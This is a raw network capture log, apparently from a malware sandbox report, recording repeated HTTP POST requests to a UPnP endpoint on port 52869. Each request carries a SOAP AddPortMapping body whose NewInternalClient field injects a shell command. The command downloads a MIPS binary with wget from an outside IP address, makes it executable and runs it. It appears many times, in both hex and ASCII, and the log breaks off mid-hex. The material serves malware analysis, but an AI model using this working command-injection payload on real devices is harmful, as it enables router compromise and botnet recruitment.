64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.960252047 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:58.423326015 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      117192.168.2.153759845.192.220.15152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:59.573076010 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.400938034 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.640989065 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:07.992841959 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:16.696502924 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 